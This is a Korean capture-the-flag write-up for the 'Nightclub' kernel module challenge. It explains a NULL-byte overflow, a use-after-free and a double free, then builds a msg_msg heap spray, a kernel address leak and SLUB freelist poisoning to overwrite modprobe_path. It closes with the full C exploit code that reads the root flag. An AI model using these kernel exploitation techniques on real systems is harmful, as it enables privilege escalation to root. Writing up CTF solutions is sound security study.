Nightclub

취약점 분석

1. ADD 및 EDIT의 NULL-byte OOB 쓰기

nightclub note 객체는 0x80바이트이며 kmalloc-128에서 할당된다. 역분석한 구조는 다음과 같다.

struct note {
    struct note *next;       // +0x00
    struct note *prev;       // +0x08
    char pad0[0x10];         // +0x10
    uint64_t offset;         // +0x20
    char pad1[0x10];         // +0x28
    uint32_t key;            // +0x38
    char pad2[0x14];         // +0x3c
    char special[0x10];      // +0x50
    char data[0x20];         // +0x60
};                           // size: 0x80

ADD는 요청한 크기가 0x20 이하인지 검사한 뒤 데이터를 복사하고 NULL 문자를 기록한다.

if (size <= 0x20) {
    copy_from_user(note->data, request->data, size);
    note->data[size] = '\0';
}

size == 0x20이면 NULL 문자가 note+0x80, 즉 다음 kmalloc-128 객체의 첫 바이트에 기록된다. 따라서 다음 객체의 next 포인터 하위 1바이트를 0으로 만들 수 있다.

EDIT에서는 offset과 size를 각각 검사하지만 offset+size는 검사하지 않는다.

if (offset <= 0x10 && size <= 0x20) {
    copy_from_user(note->data + offset, request->data, size);
    note->data[offset + size] = '\0';
}

최대값을 사용하면 다음 범위를 덮을 수 있다.

offset = 0x10
size   = 0x20
write  = note+0x70 ~ note+0x8f
NULL   = note+0x90

따라서 다음 kmalloc-128 객체의 앞 0x10바이트를 덮을 수 있으며, 연결 리스트 포인터와 인접 객체를 변조할 수 있다.

2. 이중 연결 리스트 손상을 이용한 UAF

note 객체는 모듈 .data의 master_list를 머리로 하는 이중 연결 리스트에 연결된다. 네 객체를 특정 순서로 해제하고 다시 할당하면 다음 배치를 만들 수 있다.

논리 리스트: A → C → B → D
물리 배치:   A | B | C | D

A의 OOB NULL-byte가 물리적으로 인접한 B의 next 포인터 하위 바이트를 지우면 B->next가 D에서 C로 변경된다.

변조 전: A → C → B → D
변조 후: A → C → B → C

이후 C를 삭제하면 C는 해제되지만 B의 손상된 next는 계속 C를 가리킨다.

master_list → A → B → freed C

결과적으로 nightclub 리스트 순회가 해제된 C에 도달할 수 있는 UAF가 생성된다.

3. msg_msg 연결을 이용한 kmalloc-96 접근

해제된 C 자리에 msgsz=0x50인 메시지를 할당하면 전체 크기가 0x30+0x50=0x80이므로 kmalloc-128에서 재할당된다. 이 객체를 M0로 정의한다.

같은 메시지 큐에 msgsz=0x30 메시지 두 개를 추가하면 전체 크기가 각각 0x60이므로 kmalloc-96의 M1과 M2가 된다.

nightclub stale pointer
    → M0 (kmalloc-128)
    → M1 (kmalloc-96)
    → M2 (kmalloc-96)

msg_msg.m_list.next는 같은 큐의 다음 메시지를 가리키므로 nightclub 리스트 순회가 M0을 거쳐 M1까지 이동할 수 있다. note의 key 오프셋 +0x38은 msg_msg의 mtext+0x08과 겹친다. M1의 본문을 0x43으로 채우면 가짜 key 0x43434343을 만들 수 있다.

M1의 실제 크기는 0x60이고 가짜 note의 data 역시 +0x60에 있으므로 다음 관계가 성립한다.

M1의 가짜 note->data = M1+0x60 = M2 시작
M1 note->data+0x10   = M2+0x10

따라서 offset=0x10, size=0x10으로 M1을 편집하면 M2의 m_type과 m_ts를 함께 덮을 수 있다.

M2+0x10: m_type = 1
M2+0x18: m_ts   = 0x200

4. subprocess_info를 이용한 커널 주소 누출

socket(22, AF_INET, 0)을 호출하면 지원되지 않는 address family의 모듈 자동 로드 경로가 실행된다. 이 과정에서 call_usermodehelper_setup()이 사용하는 subprocess_info가 kmalloc-96에 할당된다.

M2의 m_ts를 0x200으로 증가시킨 후 메시지를 수신하면 M2 뒤의 subprocess_info까지 OOB로 읽을 수 있다. 반환 버퍼 +0x50에서 call_usermodehelper_exec_work 주소를 얻고 다음 오프셋을 사용한다.

call_usermodehelper_exec_work = kbase + 0x79a40
modprobe_path                 = kbase + 0x144fca0
__kmalloc                     = kbase + 0x1caa50

네 번째 ioctl인 WTF는 edit_chunk-__kmalloc 차이를 반환한다. 이를 이용해 모듈 주소와 master_list를 계산한다.

edit_chunk  = __kmalloc + (uint32_t)ioctl(fd, WTF, 0);
master_list = edit_chunk + 0x20f0;

5. Double free와 SLUB freelist poisoning

주소 누출 후 동일한 heap massage를 다시 수행하여 해제된 C가 nightclub 리스트에 남도록 한다. 첫 번째 삭제 시 모듈은 C의 링크를 poison 값으로 변경하므로 그대로 두 번째 삭제를 수행하면 비정상 주소를 역참조한다.

B의 OOB write로 C의 링크를 다음과 같이 복구한다.

C->next = master_list
C->prev = master_list

별도 메시지 큐에 보관한 kmalloc-128 메시지 Q를 C의 두 삭제 사이에 해제하면 다음 순환 freelist가 생성된다.

첫 번째 free(C): C
free(Q):          Q → C
두 번째 free(C): C → Q → C

해당 kmalloc-128 캐시는 해제 객체 +0x40에 다음 freepointer를 저장한다. msg_msg 본문은 객체 +0x30에서 시작하므로 mtext+0x10이 freepointer와 겹친다.

msg_msg+0x30 = mtext
msg_msg+0x40 = mtext+0x10 = SLUB freepointer

첫 번째 C를 메시지로 할당하면서 mtext+0x10에 modprobe_path-0x60을 기록한다. 이후 두 번의 nightclub ADD가 Q와 두 번째 C를 차례로 소비하면 CPU freelist가 modprobe_path-0x60을 가리킨다.

6. modprobe_path 덮어쓰기

다음 msgsnd()는 조작된 freepointer를 신뢰하여 modprobe_path-0x60을 kmalloc-128 객체처럼 반환한다.

최종 메시지의 본문 +0x30에 /tmp/ex를 배치하면 다음 계산에 따라 정확히 modprobe_path와 겹친다.

fake object    = modprobe_path-0x60
msg_msg.mtext  = fake object+0x30
mtext+0x30     = fake object+0x60
               = modprobe_path

modprobe_path를 /tmp/ex로 변경한 뒤 /tmp/ex에 /root/flag를 /tmp/flag로 복사하는 스크립트를 작성한다. 0xffffffff로 시작하는 실행 파일을 실행하면 커널의 모듈 자동 로드 경로가 /tmp/ex를 root 권한으로 실행한다.

Exploit 과정

Step 1: 첫 번째 nightclub UAF 생성

네 note를 할당하고 0 → 2 → 1 → 3 순서로 해제한 뒤 다시 할당한다. 마지막 객체의 NULL-byte OOB로 연결 리스트를 A → C → B → C로 변경하고 C를 해제하여 stale pointer를 만든다.

int uid[4] = {0};
char data[0x20] = {0};
 
for (int i = 0; i < 4; i++) {
    memset(data, 0x41, 8);
    uid[i] = nightclub_add(fd, data, sizeof(data));
}
 
nightclub_del(fd, uid[0]);
nightclub_del(fd, uid[2]);
nightclub_del(fd, uid[1]);
nightclub_del(fd, uid[3]);
 
for (int i = 0; i < 4; i++)
    uid[i] = nightclub_add(fd, data, 8);
 
nightclub_edit(fd, uid[3], 0, 0x20, data);
nightclub_del(fd, uid[2]);

Step 2: kmalloc-128 메시지로 해제 객체 재점유

msgsz=0x50 메시지 M0를 전송하여 해제된 C를 msg_msg로 재점유한다.

int msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
 
struct msg_buf_80 msg_80 = {0};
msg_80.mtype = 1;
memset(msg_80.mtext, 0x42, sizeof(msg_80.mtext));
msgsnd(msgid, &msg_80, sizeof(msg_80.mtext), 0);

Step 3: kmalloc-96 메시지 두 개 연결

같은 큐에 msgsz=0x30 메시지 M1과 M2를 전송한다. M1 본문은 0x43, M2 본문은 0x44로 채운다.

struct msg_buf_60 msg_60 = {0};
msg_60.mtype = 1;
 
memset(msg_60.mtext, 0x43, sizeof(msg_60.mtext));
msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);
 
memset(msg_60.mtext, 0x44, sizeof(msg_60.mtext));
msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);

Step 4: M2의 m_ts 변조

가짜 key 0x43434343으로 M1을 편집한다. offset=0x10, size=0x10 쓰기가 M2의 m_type과 m_ts에 도달한다.

uint32_t id = 0x43434343;
uint64_t corrupt[2] = {
    1,      // m_type
    0x200,  // m_ts
};
 
nightclub_edit(fd, id, 0x10, 0x10, corrupt);

Step 5: 커널 및 모듈 주소 누출

socket(22, AF_INET, 0)으로 subprocess_info를 배치하고 메시지 세 개를 순서대로 수신한다. 반환 버퍼 +0x50의 포인터로 커널 베이스를 계산한 후 modprobe_path, edit_chunk, master_list를 계산한다.

socket(22, AF_INET, 0);
 
char recv_buf[0x200] = {0};
msgrcv(msgid, recv_buf, 0x200, 0, 0);
msgrcv(msgid, recv_buf, 0x200, 0, 0);
msgrcv(msgid, recv_buf, 0x200, 0, 0);
 
uint64_t leak = *(uint64_t *)(recv_buf + 0x50);
uint64_t kbase = leak - 0x79a40;
uint64_t modprobe_path = kbase + 0x144fca0;
uint64_t kmalloc_addr = kbase + 0x1caa50;
uint32_t delta = (uint32_t)ioctl(fd, WTF, 0);
uint64_t edit_chunk = kmalloc_addr + delta;
uint64_t master_list = edit_chunk + 0x20f0;

Step 6: 두 번째 UAF와 double free 구성

nightclub 객체를 다시 배치해 C를 한 번 해제한다. B의 OOB write로 C의 next, prev를 master_list로 복구한 뒤 Q를 해제하고 C를 다시 해제하여 C → Q → C freelist를 만든다.

uint64_t uid2[4] = {0};
for (int i = 0; i < 4; i++) {
    memset(data, 0x61, 8);
    uid2[i] = nightclub_add(fd, data, 0x1f);
}
 
nightclub_del(fd, uid2[0]);
nightclub_del(fd, uid2[2]);
nightclub_del(fd, uid2[1]);
nightclub_del(fd, uid2[3]);
 
for (int i = 0; i < 4; i++)
    uid2[i] = nightclub_add(fd, data, 8);
 
nightclub_edit(fd, uid2[3], 0, 0x20, data);
 
uint64_t msgid2 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
struct msg_buf_80 msg_Q = {0};
msg_Q.mtype = 1;
memset(msg_Q.mtext, 0x42, sizeof(msg_Q.mtext));
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
 
nightclub_del(fd, uid2[2]);
 
uint64_t payload[4] = {0, 0, master_list, master_list};
nightclub_edit(fd, uid2[1], 0x10, 0x20, payload);
 
msgrcv(msgid2, recv_buf, sizeof(msg_Q.mtext), 0, 0);
nightclub_del(fd, uid2[2]);

해제 순서는 다음과 같다.

free(C) → free(Q) → free(C)
freelist: C → Q → C

Step 7: SLUB freepointer 조작

첫 번째 C를 msg_msg로 할당하고 mtext+0x10에 modprobe_path-0x60을 기록한다. 두 nightclub ADD가 Q와 두 번째 C를 소비하면 다음 free object가 modprobe_path-0x60으로 변경된다.

memset(msg_Q.mtext, 0x43, sizeof(msg_Q.mtext));
*(uint64_t *)(msg_Q.mtext + 0x10) = modprobe_path - 0x60;
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
 
memset(data, 0, 8);
nightclub_add(fd, data, 8); // Q 소비
nightclub_add(fd, data, 8); // C 소비

Step 8: modprobe_path overwrite 및 트리거

최종 msgsnd()가 modprobe_path-0x60을 반환받는다. mtext+0x30에 /tmp/ex를 기록하여 modprobe_path를 덮는다. 이후 스크립트와 잘못된 실행 형식의 파일을 생성해 modprobe를 트리거한다.

memset(msg_Q.mtext, 0, sizeof(msg_Q.mtext));
char *new_path = "/tmp/ex\x00";
*(uint64_t *)(msg_Q.mtext + 0x30) = *(uint64_t *)new_path;
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
 
system(
    "printf '%s\n' "
    "'#!/bin/sh' "
    "'cp /root/flag /tmp/flag' "
    "'chmod 644 /tmp/flag' "
    "> /tmp/ex");
system("chmod 755 /tmp/ex");
 
system("printf '\\377\\377\\377\\377' > /tmp/dummy");
system("chmod 755 /tmp/dummy");
system("/tmp/dummy 2>/dev/null");
system("cat /tmp/flag");

Exploit Code

#define _GNU_SOURCE
 
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
 
#define ADD 0xcafeb001UL
#define DEL 0xcafeb002UL
#define EDIT 0xcafeb003UL
#define WTF 0xcafeb004UL
 
struct req
{
    char data_tmp[0x10];
    char data[0x20];
    uint32_t id;
    uint64_t offset;
    uint32_t size;
};
 
struct msg_buf_80
{
    uint64_t mtype;
    char mtext[0x80 - 0x30];
};
 
struct msg_buf_60
{
    uint64_t mtype;
    char mtext[0x60 - 0x30];
};
 
uint32_t
nightclub_add(int fd, const void *data, uint32_t size)
{
    struct req r = {0};
    memcpy(r.data, data, size);
    r.size = size;
 
    int id = (uint32_t)ioctl(fd, ADD, &r);
    return id;
}
 
void nightclub_edit(int fd, uint32_t id, uint64_t offset, uint32_t size, const void *data)
{
    struct req r = {0};
    memcpy(r.data, data, size);
    r.id = id;
    r.offset = offset;
    r.size = size;
 
    ioctl(fd, EDIT, &r);
}
 
void nightclub_del(int fd, uint32_t id)
{
    struct req r = {0};
    r.id = id;
 
    ioctl(fd, DEL, &r);
}
 
int main()
{
    important("happy hacking!");
 
    pin_cpu(0);
 
    int fd = open("/dev/nightclub", O_RDWR);
    if (fd < 0)
    {
        perror("open");
        return 1;
    }
    info("opened /dev/nightclub");
 
    // add 4 objects : A -> B -> C -> D
    int uid[4] = {0};
    char data[0x20] = {0};
    for (int i = 0; i < 4; i++)
    {
        memset(data, 0x41, 8);
        uid[i] = nightclub_add(fd, data, sizeof(data));
    }
    info("added 4 objects");
 
    // del the 4 objects : A->C->B->D
    nightclub_del(fd, uid[0]);
    nightclub_del(fd, uid[2]);
    nightclub_del(fd, uid[1]);
    nightclub_del(fd, uid[3]);
    info("deleted 4 objects");
 
    // re-add 4 objects
    memset(data, 0x41, 8);
    for (int i = 0; i < 4; i++)
    {
        uid[i] = nightclub_add(fd, data, 8);
        info("re-added id 0x%x", uid[i]);
    }
    info("re-added 4 objects : A -> C -> B -> D");
 
    // edit uid[3] for oob null byte overwrite
    nightclub_edit(fd, uid[3], 0, 0x20, data);
    info("edited id 0x%x for oob null byte overwrite : A -> C -> B -> C", uid[3]);
 
    // kfree uid[2]
    nightclub_del(fd, uid[2]);
    info("deleted id 0x%x", uid[2]);
 
    // allocate a msg_msg struct at the same address as uid[2]
    int msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
 
    struct msg_buf_80 msg_80 = {0};
    msg_80.mtype = 1;
    memset(msg_80.mtext, 0x42, sizeof(msg_80.mtext));
    msgsnd(msgid, &msg_80, sizeof(msg_80.mtext), 0);
    info("allocated a msg_msg struct at the same address as id 0x%x", uid[2]);
 
    // allocate two msg_msg structs at kmalloc-96
    struct msg_buf_60 msg_60 = {0};
    msg_60.mtype = 1;
    memset(msg_60.mtext, 0x43, sizeof(msg_60.mtext));
    msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);
    info("The first 0x60 msg_msg struct allocated at kmalloc-96");
 
    memset(msg_60.mtext, 0x44, sizeof(msg_60.mtext));
    msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);
    info("The second 0x60 msg_msg struct allocated at kmalloc-96");
 
    // edit the first 0x60 msg_msg struct to overwrite the second 0x60 msg_msg struct's m_ts
    uint32_t id = 0x43434343;
    uint64_t corrupt[2] = {1, 0x200}; // m_type, m_ts
    nightclub_edit(fd, id, 0x10, 0x10, corrupt);
    info("edited the first 0x60 msg_msg struct to overwrite the second 0x60 msg_msg struct's m_ts");
 
    // allocated subprocess_info struct next to the second 0x60 msg_msg struct
    socket(22, AF_INET, 0);
    info("allocated a subprocess_info struct next to the second 0x60 msg_msg struct");
 
    // leak the kernel base address
    char recv_buf[0x200] = {0};
    msgrcv(msgid, recv_buf, 0x200, 0, 0);
    msgrcv(msgid, recv_buf, 0x200, 0, 0);
    msgrcv(msgid, recv_buf, 0x200, 0, 0); // leak the kernel base address
    hexdump(recv_buf, 0x200);
 
    uint64_t leak = *(uint64_t *)(recv_buf + 0x50);
    uint64_t kbase = leak - 0x79a40;
    uint64_t modprobe_path = kbase + 0x144fca0;
    uint64_t kmalloc_addr = kbase + 0x1caa50;
    uint32_t delta = (uint32_t)ioctl(fd, WTF, 0);
    uint64_t edit_chunk = kmalloc_addr + delta;
    uint64_t master_list = edit_chunk + 0x20f0;
    info("leaked kernel base address: 0x%lx", leak);
    info("kernel base address: 0x%lx", kbase);
    info("modprobe_path address: 0x%lx", modprobe_path);
    info("__kmalloc address: 0x%lx", kmalloc_addr);
    info("edit_chunk address: 0x%lx", edit_chunk);
    info("master_list address: 0x%lx", master_list);
 
    // spray to clean up
    memset(data, 0x41, 8);
    for (int i = 0; i < 0x11; i++)
        nightclub_add(fd, data, 8);
    info("sprayed 0x10 objects to clean up");
 
    // re-make A -> C -> B -> C
    uint64_t uid2[4] = {0};
    for (int i = 0; i < 4; i++)
    {
        memset(data, 0x61, 8);
        uid2[i] = nightclub_add(fd, data, 0x1f);
    }
 
    nightclub_del(fd, uid2[0]);
    nightclub_del(fd, uid2[2]);
    nightclub_del(fd, uid2[1]);
    nightclub_del(fd, uid2[3]);
 
    memset(data, 0x61, 8);
    for (int i = 0; i < 4; i++)
        uid2[i] = nightclub_add(fd, data, 8);
 
    nightclub_edit(fd, uid2[3], 0, 0x20, data);
    info("re-make A -> C -> B -> C");
 
    // make Q (msg_msg 0x80)
    uint64_t msgid2 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    struct msg_buf_80 msg_Q = {0};
    msg_Q.mtype = 1;
    memset(msg_Q.mtext, 0x42, sizeof(msg_Q.mtext));
    msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
    info("create Q (msg_msg 0x80)");
 
    // free C
    nightclub_del(fd, uid2[2]);
    info("freed C");
 
    // revoke C's next, prev pointers
    uint64_t payload[4] = {0, 0, master_list, master_list};
    nightclub_edit(fd, uid2[1], 0x10, 0x20, payload);
    info("revoked C's next, prev pointers");
 
    // freed Q -> C to create double free
    msgrcv(msgid2, recv_buf, sizeof(msg_Q.mtext), 0, 0);
    nightclub_del(fd, uid2[2]);
    info("freed C -> Q -> C to create double free");
 
    // allocate a msg_msg struct at the C and modify free list pointer to modprobe_path - 0x60
    memset(msg_Q.mtext, 0x43, sizeof(msg_Q.mtext));
    *(uint64_t *)(msg_Q.mtext + 0x10) = modprobe_path - 0x60;
    msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
    info("allocated a msg_msg struct at the C and modified free list pointer to modprobe_path - 0x60");
 
    // allocate a object at modprobe_path - 0x60
    memset(data, 0x0, 8);
    nightclub_add(fd, data, 8);
    nightclub_add(fd, data, 8);
 
    memset(msg_Q.mtext, 0x0, sizeof(msg_Q.mtext));
    char *new_path = "/tmp/ex\x00";
    *(uint64_t *)(msg_Q.mtext + 0x30) = *(uint64_t *)new_path;
    msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
    info("modprove path overwritten to /tmp/ex");
 
    // trigger modprobe_path
    system(
        "printf '%s\n' "
        "'#!/bin/sh' "
        "'cp /root/flag /tmp/flag' "
        "'chmod 644 /tmp/flag' "
        "> /tmp/ex");
    system("chmod 755 /tmp/ex");
 
    system("printf '\\377\\377\\377\\377' > /tmp/dummy");
    system("chmod 755 /tmp/dummy");
    system("/tmp/dummy 2>/dev/null");
 
    system("cat /tmp/flag");
 
    return 0;
}